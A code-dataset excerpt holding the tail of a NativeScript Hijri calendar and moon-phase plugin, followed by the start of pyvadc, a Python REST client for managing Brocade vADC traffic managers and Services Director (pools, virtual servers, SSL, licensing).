Math.floor((bb-122.1)/365.25);\n var dd = Math.floor(365.25*cc);\n var ee = Math.floor((bb-dd)/30.6001);\n day =(bb-dd)-Math.floor(30.6001*ee);\n month = ee-1;\n if(ee>13) {\n cc += 1;\n month = ee-13;\n }\n year = cc-4716;\n \n var iyear = 10631.0/30.0;\n var epochastro = 1948084;\n // var epochcivil = 1948085; Not used\n \n var shift1 = 8.01/60.0;\n \n var z = jd-epochastro;\n var cyc = Math.floor(z/10631.0);\n z = z-10631*cyc;\n var j = Math.floor((z-shift1)/iyear);\n var iy = 30*cyc+j;\n z = z-Math.floor(j*iyear+shift1);\n var im = Math.floor((z+28.5001)/29.5);\n if(im===13) {\n im = 12;\n }\n var id = z-Math.floor(29.5001*im-29);\n \n var myRes = new Array(8);\n \n myRes[0] = day; //calculated day (CE)\n myRes[1] = month-1; //calculated month (CE)\n myRes[2] = year; //calculated year (CE)\n myRes[3] = jd-1; //julian day number\n myRes[4] = wd-1; //weekday number\n myRes[5] = id; //islamic date\n myRes[6] = im-1; //islamic month\n myRes[7] = iy; //islamic year\n return myRes;\n }\n \n}/basecal.d.ts\nexport declare class HijriFunction {\n basecal(date: any, adjust: any): any[];\n}\n/moon-phase.android.d.ts\nimport { Common, MoonPhaseBase } from './moon-phase.common';\nexport declare class Hijri extends Common {\n}\nexport declare class MoonPhase extends MoonPhaseBase {\n constructor();\n}\n/demo/app/main-view-model.ts\nimport {Observable} from 'tns-core-modules/data/observable';\nimport {Hijri} from 'nativescript-moon-phase';\n\n\nexport class HelloWorldModel extends Observable {\n/*public dayWeekText :string;\npublic dayWeekNumber : number;\npublic dayMonthNumber : number;*/\npublic monthText : string;\n/*public monthNumber : number;\npublic yearNumber :number;\npublic hijri: Hijri;*/\npublic DateValue: Date;\n\n constructor(currentDate) {\n super();\n\n /*this.hijri = new Hijri(currentDate,0);\n this.dayWeekText =this.hijri.getDayName_Ar;\n this.dayMonthNumber = this.hijri.hijri_ar.dayOfMonth;\n this.monthText = this.hijri.getMonthName_Ar;\n this.monthNumber = this.hijri.getMonth;\n this.yearNumber =this.hijri.getYear;*/\n this.DateValue = currentDate;\n }\n\n}/moon-phase.common.d.ts\nimport { Observable } from 'data/observable';\nimport { Property } from \"tns-core-modules/ui/core/properties\";\nimport { Image } from 'tns-core-modules/ui/image';\nexport declare class Common extends Observable {\n hijri_ar: islamicDateObject;\n hijri_en: islamicDateObject;\n getYear: number;\n getMonth: number;\n getDay: number;\n getMonthName_Ar: string;\n getDayName_Ar: string;\n getMonthName_En: string;\n getDayName_En: string;\n constructor(date: any, shift: any);\n}\nexport declare class Utils {\n static getYear(date: any, shift: any): number;\n static getMonth(date: any, shift: any): number;\n static getDay(date: any, shift: any): number;\n static getMonthName_Ar(date: any, shift: any): string;\n static getDayName_Ar(date: any, shift: any): string;\n static getMonthName_En(date: any, shift: any): string;\n static getDayName_En(date: any, shift: any): string;\n static Hijri_Date_AR(date: any, shift: any): islamicDateObject;\n static Hijri_Date_EN(date: any, shift: any): islamicDateObject;\n}\nexport declare class islamicDateObject {\n dayOfWeekText: string;\n dayOfWeek: number;\n dayOfMonth: number;\n month: number;\n monthText: string;\n year: number;\n}\nexport declare class MoonPhaseBase extends Image {\n}\nexport declare const dateProperty: Property;\n"},"directory_id":{"kind":"string","value":"f5c75ce463b90089b031b317f95c3b5f6fe5b887"},"languages":{"kind":"list like","value":["Markdown","TypeScript"],"string":"[\n \"Markdown\",\n \"TypeScript\"\n]"},"num_files":{"kind":"number","value":12,"string":"12"},"repo_language":{"kind":"string","value":"TypeScript"},"repo_name":{"kind":"string","value":"rkhayyat/nativescript-moon-phase"},"revision_id":{"kind":"string","value":"6be5fed824b9a3c6c4a3b987bc1d408fb3119c68"},"snapshot_id":{"kind":"string","value":"6e817c200206d485ca3374d1bc1254b737d69431"}}},{"rowIdx":143,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"TuxInvader/python-vadc/pyvadc/vadc.py\n#!/usr/bin/python\n\nimport requests\nimport sys\nimport json\nimport yaml\nimport time\nimport logging\nfrom os import path\nfrom base64 import b64encode, b64decode\n\nclass Vadc(object):\n\n DEBUG = False\n\n def __init__(self, host, user, passwd, logger=None):\n requests.packages.urllib3.disable_warnings()\n if host.endswith('/') == False:\n host += \"/\"\n self.host = host\n self.user = user\n self.passwd = \n self.client = None\n self._cache = {}\n if logger is None:\n logging.basicConfig()\n self.logger = logging.getLogger()\n else:\n self.logger = logger\n\n def _debug(self, message):\n if Vadc.DEBUG:\n self.logger.debug(message)\n\n def _get_api_version(self, apiRoot):\n url = self.host + apiRoot\n res = self._get_config(url)\n if res.status_code != 200:\n raise Exception(\"Failed to locate API: {}, {}\".format(res.status_code, res.text))\n versions = res.json()\n versions = versions[\"children\"]\n major=max([int(ver[\"name\"].split('.')[0]) for ver in versions])\n minor=max([int(ver[\"name\"].split('.')[1]) for ver in versions if \n ver[\"name\"].startswith(str(major))])\n version = \"{}.{}\".format(major, minor)\n self._debug(\"API Version: {}\".format(version))\n return version\n\n def _init_http(self):\n self.client = requests.Session()\n self.client.auth = (self.user, self.passwd)\n\n def _get_config(self, url, headers=None, params=None):\n self._debug(\"URL: \" + url)\n try:\n self._init_http()\n response = self.client.get(url, verify=False, headers=headers, params=params)\n except:\n self.logger.error(\"Error: Unable to connect to API\")\n raise Exception(\"Error: Unable to connect to API\")\n self._debug(\"Status: {}\".format(response.status_code))\n self._debug(\"Body: \" + response.text)\n return response\n\n def _push_config(self, url, config, method=\"PUT\", ct=\"application/json\", params=None, extra=None):\n self._debug(\"URL: \" + url)\n try:\n self._init_http()\n if ct == \"application/json\":\n if extra is not None:\n try:\n if extra.startswith(\"{\"):\n extra = json.loads(extra, encoding=\"utf-8\")\n else:\n extra = yaml.load( extra )\n self._merge_extra(config, extra)\n except Exception as e:\n self.logger.warn(\"Failed to merge extra properties: {}\".format(e))\n config = json.dumps(config)\n if method == \"PUT\":\n response = self.client.put(url, verify=False, data=config,\n headers={\"Content-Type\": ct}, params=params)\n else:\n response = self.client.post(url, verify=False, data=config,\n headers={\"Content-Type\": ct}, params=params)\n except requests.exceptions.ConnectionError:\n self.logger.error(\"Error: Unable to connect to API\")\n raise Exception(\"Error: Unable to connect to API\")\n\n self._debug(\"DATA: \" + config)\n self._debug(\"Status: {}\".format(response.status_code))\n self._debug(\"Body: \" + response.text)\n return response\n\n def _del_config(self, url):\n self._debug(\"URL: \" + url)\n try:\n self._init_http()\n response = self.client.delete(url, verify=False)\n except requests.exceptions.ConnectionError:\n sys.stderr.write(\"Error: Unable to connect to API {}\".format(url))\n raise Exception(\"Error: Unable to connect to API\")\n\n self._debug(\"Status: {}\".format(response.status_code))\n self._debug(\"Body: \" + response.text)\n return response\n\n def _upload_raw_binary(self, url, filename):\n if path.isfile(filename) is False:\n raise Exception(\"File: {} does not exist\".format(filename))\n if path.getsize(filename) > 20480000:\n raise Exception(\"File: {} is too large.\".format(filename))\n handle = open(filename, \"rb\")\n body = handle.read()\n handle.close()\n return self._push_config(url, body, ct=\"application/octet-stream\")\n\n def _dictify(self, listing, keyName):\n dictionary = {}\n for item in listing:\n k = item.pop(keyName)\n dictionary[k] = item\n\n def _merge_extra(self, obj1, obj2):\n for section in obj2[\"properties\"].keys():\n if section in obj1[\"properties\"].keys():\n obj1[\"properties\"][section].update(obj2[\"properties\"][section])\n else:\n obj1[\"properties\"][section] = obj2[\"properties\"][section]\n\n def _cache_store(self, key, data, timeout=10):\n exp = time.time() + timeout\n self._debug(\"Cache Store: {}\".format(key))\n self._cache[key] = {\"exp\": exp, \"data\": data}\n\n def _cache_lookup(self, key):\n now = time.time()\n if key in self._cache:\n entry = self._cache[key]\n if entry[\"exp\"] > now:\n self._debug(\"Cache Hit: {}\".format(key))\n return entry[\"data\"]\n self._debug(\"Cache Miss: {}\".format(key))\n return None\n\n def dump_cache(self):\n return json.dumps(self._cache, encoding=\"utf-8\")\n\n def load_cache(self, cache):\n self._cache = json.loads(cache, encoding=\"utf-8\")\n\n/pyvadc/bsd.py\n#!/usr/bin/python\n\nfrom vadc import Vadc\nfrom vtm import Vtm\n\nclass Bsd(Vadc):\n\n def __init__(self, config, logger=None):\n\n try:\n host = config['brcd_sd_host']\n user = config['brcd_sd_user']\n passwd = config['brcd_sd_pass']\n except KeyError:\n raise ValueError(\"brcd_sd_host, brcd_sd_user, and brcd_sd_pass must be configured\")\n\n super(Bsd, self).__init__(host, user, passwd, logger)\n self.version = self._get_api_version(\"api/tmcm\")\n self.baseUrl = host + \"api/tmcm/\" + self.version\n\n def _get_vtm_licenses(self):\n url = self.baseUrl + \"/license\"\n res = self._get_config(url)\n if res.status_code != 200:\n raise Exception(\"Failed to get licenses: {}, {}\".format(res.status_code, res.text))\n licenses = res.json()\n licenses = licenses[\"children\"]\n universal = [int(lic[\"name\"][11:]) for lic in licenses\n if lic[\"name\"].startswith(\"universal_v\")]\n universal.sort(reverse=True)\n legacy = [float(lic[\"name\"][7:]) for lic in licenses\n if lic[\"name\"].startswith(\"legacy_\")]\n legacy.sort(reverse=True)\n order = []\n order += ([\"universal_v\" + str(ver) for ver in universal])\n order += ([\"legacy_\" + str(ver) for ver in legacy])\n return order\n\n def ping(self):\n url = self.baseUrl + \"/ping\"\n res = self._get_config(url)\n if res.status_code != 204:\n raise Exception(\"Ping unsuccessful\")\n config = res.json()\n return config[\"members\"]\n\n def get_cluster_members(self, cluster):\n url = self.baseUrl + \"/cluster/\" + cluster\n res = self._get_config(url)\n if res.status_code != 200:\n raise Exception(\"Failed to locate cluster: {}, {}\".format(res.status_code, res.text))\n config = res.json()\n return config[\"members\"]\n\n def get_active_vtm(self, vtms=None, cluster=None):\n if cluster is None and vtms is None:\n raise Exception(\"Error - You must supply either a list of vTMs or a Cluster ID\")\n if cluster is not None and cluster != \"\":\n vtms = self.get_cluster_members(cluster)\n for vtm in vtms:\n url = self.baseUrl + \"/instance/\" + vtm + \"/tm/\"\n res = self._get_config(url)\n if res.status_code == 200:\n return vtm\n return None\n\n def add_vtm(self, vtm, password, address, bw, fp='STM-400_full'):\n url = self.baseUrl + \"/instance/?managed=false\"\n\n if address is None:\n address = vtm\n\n config = {\"bandwidth\": bw, \"tag\": vtm, \"owner\": \"stanley\", \"stm_feature_pack\": fp,\n \"rest_address\": address + \":9070\", \"admin_username\": \"admin\", \"rest_enabled\": False,\n \"host_name\": address, \"management_address\": address}\n\n if password is not None:\n config[\"admin_password\"] = \n config[\"rest_enabled\"] = True\n\n # Try each of our available licenses.\n licenses = self._get_vtm_licenses()\n for license in licenses:\n config[\"license_name\"] = license\n res = self._push_config(url, config, \"POST\")\n if res.status_code == 201:\n break\n else:\n res = self._push_config(url, config, \"POST\")\n\n if res.status_code != 201:\n raise Exception(\"Failed to add vTM. Response: {}, {}\".format(res.status_code, res.text))\n return res.json()\n\n def del_vtm(self, vtm):\n url = self.baseUrl + \"/instance/\" + vtm\n config = {\"status\": \"deleted\"}\n res = self._push_config(url, config, \"POST\")\n if res.status_code != 200:\n raise Exception(\"Failed to del vTM. Response: {}, {}\".format(res.status_code, res.text))\n return res.json()\n\n def get_vtm(self, tag):\n vtm = self._cache_lookup(\"get_vtm_\" + tag)\n if vtm is None:\n url = self.baseUrl + \"/instance/\" + tag\n res = self._get_config(url)\n if res.status_code != 200:\n raise Exception(\"Failed to get vTM {}. Response: {}, {}\".format(\n vtm, res.status_code, res.text))\n vtm = res.json()\n self._cache_store(\"get_vtm_\" + tag, vtm)\n return vtm\n\n def list_vtms(self, full=False, deleted=False, stringify=False):\n instances = self._cache_lookup(\"list_vtms\")\n if instances is None:\n url = self.baseUrl + \"/instance/\"\n res = self._get_config(url)\n if res.status_code != 200:\n raise Exception(\"Failed to list vTMs. Response: {}, {}\".format(\n res.status_code, res.text))\n instances = res.json()\n self._cache_store(\"list_vtms\", instances)\n\n output = []\n for instance in instances[\"children\"]:\n config = self.get_vtm(instance[\"name\"])\n if deleted is False and config[\"status\"] == \"Deleted\":\n continue\n if full:\n config[\"name\"] = instance[\"name\"]\n output.append(config)\n else:\n out_dict = {k: config[k] for k in (\"host_name\", \"tag\", \"status\",\n \"stm_feature_pack\", \"bandwidth\")}\n out_dict[\"name\"] = instance[\"name\"]\n output.append(out_dict)\n\n if stringify:\n return json.dumps(output, encoding=\"utf-8\")\n else:\n return output\n\n def _submit_backup_task(self, vtm=None, cluster_id=None, tag=None):\n if self.version < 2.3:\n raise Exception(\"You need to be running BSD version 2.5 or newer to perform a backup\")\n url = self.baseUrl + \"/config/backup/task\"\n if cluster_id is None:\n if vtm is None:\n raise Exception(\"You need to provide with a vTM or Cluster-ID\")\n cluster_id = self._get_cluster_for_vtm(cluster)\n config = { \"cluster_id\": cluster_id, \"task_type\": \"backup restore\",\n \"task_subtype\": \"backup now\" }\n res = self._push_config(url, config, \"POST\")\n if res.status_code != 201:\n raise Exception(\"Failed to create BackUp, Response: {}, {}\".format(\n res.status_code, res.text))\n return res.json()\n\n def get_status(self, vtm=None, stringify=False):\n instances = self._cache_lookup(\"get_status\")\n if instances is None:\n url = self.baseUrl + \"/monitoring/instance\"\n res = self._get_config(url)\n if res.status_code != 200:\n raise Exception(\"Failed get Status. Result: {}, {}\".format(\n res.status_code, res.text))\n\n instances = res.json()\n self._cache_store(\"get_status\", instances)\n\n if vtm is not None:\n for instance in instances:\n if instance[\"tag\"] != vtm and instance[\"name\"] != vtm:\n instances.remove(instance)\n\n if stringify:\n return json.dumps(instances, encoding=\"utf-8\")\n else:\n return instances\n\n def get_errors(self, stringify=False):\n instances = self.get_status()\n errors = {}\n for instance in instances:\n error = {}\n self._debug(instance)\n if instance[\"id_health\"][\"alert_level\"] != 1:\n error[\"id_health\"] = instance[\"id_health\"]\n if instance[\"rest_access\"][\"alert_level\"] != 1:\n error[\"rest_access\"] = instance[\"rest_access\"]\n if instance[\"licensing_activity\"][\"alert_level\"] != 1:\n error[\"licensing_activity\"] = instance[\"licensing_activity\"]\n if instance[\"traffic_health\"][\"error_level\"] != \"ok\":\n error[\"traffic_health\"] = instance[\"traffic_health\"]\n if len(error) != 0:\n error[\"tag\"] = instance[\"tag\"]\n error[\"name\"] = instance[\"name\"]\n if \"traffic_health\" in error:\n if \"virtual_servers\" in error[\"traffic_health\"]:\n del error[\"traffic_health\"][\"virtual_servers\"]\n errors[instance[\"name\"]] = error\n\n if stringify:\n return json.dumps(errors, encoding=\"utf-8\")\n else:\n return errors\n\n def get_monitor_intervals(self, setting=None):\n intervals = self._cache_lookup(\"get_monitor_intervals\")\n if intervals is None:\n url = self.baseUrl + \"/settings/monitoring\"\n res = self._get_config(url)\n if res.status_code != 200:\n raise Exception(\"Failed to get Monitoring Intervals. Result: {}, {}\".format(\n res.status_code, res.text))\n\n intervals = res.json()\n self._cache_store(\"get_monitor_intervals\", intervals)\n\n if setting is not None:\n if setting not in intervals:\n raise Exception(\"Setting: {} does not exist.\".format(setting))\n return intervals[setting]\n return intervals\n\n def get_bandwidth(self, vtm=None, stringify=False):\n instances = self.get_status(vtm)\n bandwidth = {}\n for instance in instances:\n config = self.get_vtm(instance[\"name\"])\n tag = config[\"tag\"]\n # Bytes/Second\n if \"throughput_out\" in instance:\n current = (instance[\"throughput_out\"] / 1000000.0) * 8\n else:\n current = 0.0\n # Mbps\n assigned = config[\"bandwidth\"]\n # Bytes/Second\n if \"metrics_peak_throughput\" in config:\n peak = (config[\"metrics_peak_throughput\"] / 1000000.0) * 8\n else:\n peak = 0.0\n bandwidth[instance[\"name\"]] = {\"tag\": tag, \"current\": current,\n \"assigned\": assigned, \"peak\": peak}\n\n if stringify:\n return json.dumps(bandwidth, encoding=\"utf-8\")\n else:\n return bandwidth\n\n def set_bandwidth(self, vtm, bw):\n url = self.baseUrl + \"/instance/\" + vtm\n config = {\"bandwidth\": bw}\n res = self._push_config(url, config)\n if res.status_code != 200:\n raise Exception(\"Failed to set Bandwidth. Result: {}, {}\".format(\n res.status_code, res.text))\n config = res.json()\n return config\n/pyvadc/__init__.py\nfrom vadc import Vadc\nfrom bsd import Bsd\nfrom vtm import Vtm\nfrom config import VtmConfig\nfrom config import BsdConfig\n\n__all__ = [ \"Vadc\", \"Bsd\", \"Vtm\", \"VtmConfig\", \"BsdConfig\" ]\n\n/README.rst\n\nA Python library for vADC\n=========================\n\nA library for interacting with the REST API of `Brocade vADC `_.\n\n----\n\nTo install, either clone from github or \"pip install pyvadc\"\n\nTo use (standalone vTM):\n\n.. code-block:: python\n\n from pyvadc import Vtm, VtmConfig\n config = VtmConfig(\"https://vtm1:9070/\", \"\", \"\")\n\n vtm = Vtm(config)\n vtm.get_pools()\n ...\n\nTo Use with Brocade Services Director (BSD):\n\n.. code-block:: python\n\n from pyvadc import Bsd, Vtm, BsdConfig\n config = BsdConfig(\"https://sd1:8100/\", \"admin\", \"\")\n bsd = Bsd(config)\n bsd.add_vtm(\"vtm1\", \"password\", \"17.0.2\", 100, \"STM-400_full\")\n bsd.get_status(\"vtm1\")\n\n # We can now manage vTMs by proxying.\n vtm1 = Vtm(config, vtm=\"vtm1\")\n vtm1.get_pools()\n ...\n\nEnjoy!\n/pyvadc/vtm.py\n#!/usr/bin/python\n\nfrom vadc import Vadc\n\nimport json\n\nclass Vtm(Vadc):\n\n def __init__(self, config, logger=None, vtm=None):\n\n try:\n self._proxy = config['brcd_sd_proxy']\n if self._proxy:\n if vtm is None:\n raise ValueError(\"You must set vtm, when using SD Proxy\")\n host = config['brcd_sd_host']\n user = config['brcd_sd_user']\n passwd = config['brcd_sd_pass']\n else:\n host = config['brcd_vtm_host']\n user = config['brcd_vtm_user']\n passwd = config['brcd_vtm_pass']\n except KeyError:\n raise ValueError(\"You must set key brcd_sd_proxy, and either \" +\n \"brcd_sd_[host|user|pass] or brcd_vtm_[host|user|pass].\")\n\n self.vtm = vtm\n self.bsdVersion = None\n super(Vtm, self).__init__(host, user, passwd, logger)\n if self._proxy:\n self.bsdVersion = self._get_api_version(\"api/tmcm\")\n self.version = self._get_api_version(\n \"api/tmcm/{}/instance/{}/tm\".format(self.bsdVersion, vtm))\n self.baseUrl = host + \"api/tmcm/{}\".format(self.bsdVersion) + \\\n \"/instance/{}/tm/{}\".format(vtm, self.version)\n else:\n self.version = self._get_api_version(\"api/tm\")\n self.baseUrl = host + \"api/tm/{}\".format(self.version)\n self.configUrl = self.baseUrl + \"/config/active\"\n self.statusUrl = self.baseUrl + \"/status/local_tm\"\n\n def _get_node_table(self, name):\n url = self.configUrl + \"/pools/\" + name\n res = self._get_config(url)\n if res.status_code != 200:\n raise Exception(\"Failed to get pool. Result: {}, {}\".format(res.status_code, res.text))\n\n config = res.json()\n return config[\"properties\"][\"basic\"][\"nodes_table\"]\n\n def _get_single_config(self, obj_type, name):\n url = self.configUrl + \"/\" + obj_type + \"/\" + name\n res = self._get_config(url)\n if res.status_code != 200:\n raise Exception(\"Failed to get \" + obj_type + \" Configuration.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n return res.json()\n\n def _get_multiple_configs(self, obj_type, names=[]):\n url = self.configUrl + \"/\" + obj_type + \"/\"\n res = self._get_config(url)\n if res.status_code != 200:\n raise Exception(\"Failed to list \" + obj_type +\n \". Result: {}, {}\".format(res.status_code, res.text))\n listing = res.json()[\"children\"]\n output = {}\n for obj in [obj[\"name\"] for obj in listing]:\n if len(names) > 0 and (obj not in names):\n continue\n output[obj] = self._get_single_config(obj_type, obj)\n return output\n\n def _set_single_config(self, obj_type, name, config):\n url = self.configUrl + \"/\" + obj_type + \"/\" + name\n res = self._push_config(url, config)\n if res.status_code != 200:\n raise Exception(\"Failed to set \" + obj_type + \". Result: {}, {}\".format(\n res.status_code, res.text))\n return res\n\n def _get_vs_rules(self, name):\n config = self._get_single_config(\"virtual_servers\", name)\n rules = {k: config[\"properties\"][\"basic\"][k] for k in\n (\"request_rules\", \"response_rules\", \"completionrules\")}\n return rules\n\n def _set_vs_rules(self, name, rules):\n config = {\"properties\": {\"basic\": rules}}\n res = self._set_single_config(\"virtual_servers\", name, config)\n if res.status_code != 200:\n raise Exception(\"Failed set VS Rules. Result: {}, {}\".format(res.status_code, res.text))\n\n def insert_rule(self, vsname, rulename, insert=True):\n rules = self._get_vs_rules(vsname)\n if insert:\n if rulename in rules[\"request_rules\"]:\n raise Exception(\"Rule {} already in vserver {}\".format(rulename, vsname))\n rules[\"request_rules\"].insert(0, rulename)\n else:\n if rulename not in rules[\"request_rules\"]:\n raise Exception(\"Rule {} already in vserver {}\".format(rulename, vsname))\n rules[\"request_rules\"].remove(rulename)\n self._set_vs_rules(vsname, rules)\n\n def upload_rule(self, rulename, ts_file):\n url = self.configUrl + \"/rules/\" + rulename\n res = self._upload_raw_binary(url, ts_file)\n if res.status_code != 201 and res.status_code != 204:\n raise Exception(\"Failed to upload rule.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def enable_maintenance(self, vsname, rulename=\"maintenance\", enable=True):\n self.insert_rule(vsname, rulename, enable)\n\n def get_pool_nodes(self, name):\n nodeTable = self._get_node_table(name)\n nodes = {\"active\": [], \"disabled\": [], \"draining\": []}\n for node in nodeTable:\n if node[\"state\"] == \"active\":\n nodes[\"active\"].append(node[\"node\"])\n elif node[\"state\"] == \"disabled\":\n nodes[\"disabled\"].append(node[\"node\"])\n elif node[\"state\"] == \"draining\":\n nodes[\"draining\"].append(node[\"node\"])\n else:\n self.logger.warn(\"Unknown Node State: {}\".format(node[\"state\"]))\n\n return nodes\n\n def set_pool_nodes(self, name, active, draining, disabled):\n url = self.configUrl + \"/pools/\" + name\n nodeTable = []\n if active is not None and active:\n nodeTable.extend( [{\"node\": node, \"state\": \"active\"} for node in active] )\n if draining is not None and draining:\n nodeTable.extend( [{\"node\": node, \"state\": \"draining\"} for node in draining] )\n if disabled is not None and disabled:\n nodeTable.extend( [{\"node\": node, \"state\": \"disabled\"} for node in disabled] )\n config = {\"properties\": {\"basic\": {\"nodes_table\": nodeTable }}}\n res = self._push_config(url, config)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to set pool nodes. Result: {}, {}\".format(res.status_code, res.text))\n\n def drain_nodes(self, name, nodes, drain=True):\n url = self.configUrl + \"/pools/\" + name\n nodeTable = self._get_node_table(name)\n for entry in nodeTable:\n if entry[\"node\"] in nodes:\n if drain:\n entry[\"state\"] = \"draining\"\n else:\n entry[\"state\"] = \"active\"\n\n config = {\"properties\": {\"basic\": {\"nodes_table\": nodeTable}}}\n res = self._push_config(url, config)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to add pool. Result: {}, {}\".format(res.status_code, res.text))\n\n def add_monitor(self, name, monitor_type, machine=None, extra=None):\n url = self.configUrl + '/monitors/' + name\n if machine is not None:\n config = {\"properties\": {\"basic\" :{\"type\": monitor_type, \"machine\": machine, \"scope\": \"poolwide\"}}}\n else:\n config = {\"properties\": {\"basic\" :{\"type\": monitor_type}}}\n res = self._push_config(url, config, extra=extra)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to add monitor. Result: {}, {}\".format(res.status_code, res.text))\n\n def add_pool(self, name, nodes, algorithm, persistence, monitors, extra=None):\n url = self.configUrl + \"/pools/\" + name\n\n nodeTable = []\n for node in nodes:\n nodeTable.append({\"node\": node, \"state\": \"active\"})\n\n config = {\"properties\": {\"basic\": {\"nodes_table\": nodeTable}, \"load_balancing\": {}}}\n\n if monitors is not None:\n config[\"properties\"][\"basic\"][\"monitors\"] = monitors\n\n if persistence is not None:\n config[\"properties\"][\"basic\"][\"persistence_class\"] = persistence\n\n if algorithm is not None:\n config[\"properties\"][\"load_balancing\"][\"algorithm\"] = algorithm\n\n res = self._push_config(url, config, extra=extra)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to add pool. Result: {}, {}\".format(res.status_code, res.text))\n\n def del_pool(self, name):\n url = self.configUrl + \"/pools/\" + name\n res = self._del_config(url)\n if res.status_code != 204:\n raise Exception(\"Failed to del pool. Result: {}, {}\".format(res.status_code, res.text))\n\n def get_pool(self, name):\n return self._get_single_config(\"pools\", name)\n\n def get_pools(self, names=[]):\n return self._get_multiple_configs(\"pools\", names)\n\n def add_vserver(self, name, pool, tip, port, protocol, extra=None):\n url = self.configUrl + \"/virtual_servers/\" + name\n config = {\"properties\": {\"basic\": {\"pool\": pool, \"port\": port, \"protocol\": protocol,\n \"listen_on_any\": False, \"listen_on_traffic_ips\": [tip], \"enabled\": True}}}\n\n res = self._push_config(url, config, extra=extra)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to add VS. Result: {}, {}\".format(res.status_code, res.text))\n\n def del_vserver(self, name):\n url = self.configUrl + \"/virtual_servers/\" + name\n res = self._del_config(url)\n if res.status_code != 204:\n raise Exception(\"Failed to del VS. Result: {}, {}\".format(res.status_code, res.text))\n\n def get_vserver(self, name):\n return self._get_single_config(\"virtual_servers\", name)\n\n def get_vservers(self, names=[]):\n return self._get_multiple_configs(\"virtual_servers\", names)\n\n def add_tip(self, name, vtms, addresses, extra=None):\n url = self.configUrl + \"/traffic_ip_groups/\" + name\n\n config = {\"properties\": {\"basic\": {\"ipaddresses\": addresses,\n \"machines\": vtms, \"enabled\": True}}}\n\n res = self._push_config(url, config, extra=extra)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to add TIP. Result: {}, {}\".format(res.status_code, res.text))\n\n def del_tip(self, name):\n url = self.configUrl + \"/traffic_ip_groups/\" + name\n res = self._del_config(url)\n if res.status_code != 204:\n raise Exception(\"Failed to del TIP. Result: {}, {}\".format(res.status_code, res.text))\n\n def get_tip(self, name):\n return self._get_single_config(\"traffic_ip_groups\", name)\n\n def get_tips(self, names=[]):\n return self._get_multiple_configs(\"traffic_ip_groups\", names)\n\n def add_server_cert(self, name, public, private):\n url = self.configUrl + \"/ssl/server_keys/\" + name\n\n public = public.replace(\"\\\\n\", \"\\n\")\n private = private.replace(\"\\\\n\", \"\\n\")\n\n config = {\"properties\": {\"basic\": {\"public\": public, \"private\": private}}}\n\n res = self._push_config(url, config)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to add Server Certificate.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def del_server_cert(self, name):\n url = self.configUrl + \"/ssl/server_keys/\" + name\n res = self._del_config(url)\n if res.status_code != 204:\n raise Exception(\"Failed to delete Server Certificate.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def enable_ssl_offload(self, name, cert=\"\", on=True, xproto=False, headers=False):\n url = self.configUrl + \"/virtual_servers/\" + name\n config = {\"properties\": {\"basic\": {\"ssl_decrypt\": on, \"add_x_forwarded_proto\": xproto},\n \"ssl\": {\"add_http_headers\": headers, \"server_cert_default\": cert}}}\n\n res = self._push_config(url, config)\n if res.status_code != 200:\n raise Exception(\"Failed to configure SSl Offload on {}.\".format(name) +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def enable_ssl_encryption(self, name, on=True, verify=False):\n url = self.configUrl + \"/pools/\" + name\n config = {\"properties\": {\"ssl\": {\"enable\": on, \"strict_verify\": verify}}}\n\n res = self._push_config(url, config)\n if res.status_code != 200:\n raise Exception(\"Failed to configure SSl Encryption on {}.\".format(name) +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def add_session_persistence(self, name, method, cookie=None):\n types = [\"ip\", \"universal\", \"named\", \"transparent\", \"cookie\", \"j2ee\", \"asp\", \"ssl\"]\n if method not in types:\n raise Exception(\"Failed to add SP Class. Invalid method: {}\".format(method) +\n \"Must be one of: {}\".format(types))\n if method == \"cookie\" and cookie is None:\n raise Exception(\"Failed to add SP Class. You must provide a cookie name.\")\n\n if cookie is None:\n cookie = \"\"\n\n url = self.configUrl + \"/persistence/\" + name\n config = {\"properties\": {\"basic\": {\"type\": method, \"cookie\": cookie}}}\n\n res = self._push_config(url, config)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to add Session Persistence Class\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def del_session_persistence(self, name):\n url = self.configUrl + \"/persistence/\" + name\n res = self._del_config(url)\n if res.status_code != 204:\n raise Exception(\"Failed to delete Session Persistence Class.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def add_dns_zone(self, name, origin, zonefile):\n url = self.configUrl + '/dns_server/zones/' + name\n config = {\"properties\": {\"basic\": {\"zonefile\": zonefile, \"origin\": origin}}}\n res = self._push_config(url, config)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to add dns zone\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def add_glb_location(self, name, longitude, latitude, location_id):\n my_location_id = 1\n if location_id is not None:\n my_location_id = location_id\n else:\n # if location_id is not set, we'll have to find one\n url = self.configUrl + '/locations/'\n res = self._get_config(url)\n if res.status_code != 200:\n raise Exception(\"Failed to get location list: {}, {}\".format(res.status_code, res.text))\n\n location_list = res.json()['children']\n for location in location_list:\n url = self.configUrl + '/locations/' + location['name']\n res = self._get_config(url)\n tmp = res.json()[\"properties\"][\"basic\"][\"id\"]\n if tmp > my_location_id:\n my_location_id = tmp\n\n # we need to pick up the next one available\n my_location_id = my_location_id + 1\n\n url = self.configUrl + '/locations/' + name\n config = json.loads('{\"properties\": {\"basic\": {\"type\": \"glb\", \"longitude\":' + longitude + ', \"latitude\": ' + latitude + ', \"id\": ' + str(my_location_id) + '}}}', parse_float = float)\n res = self._push_config(url, config)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to add GLB location\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def add_glb_service(self, name, algorithm, rules, locations, domains, extra=None):\n url = self.configUrl + '/glb_services/' + 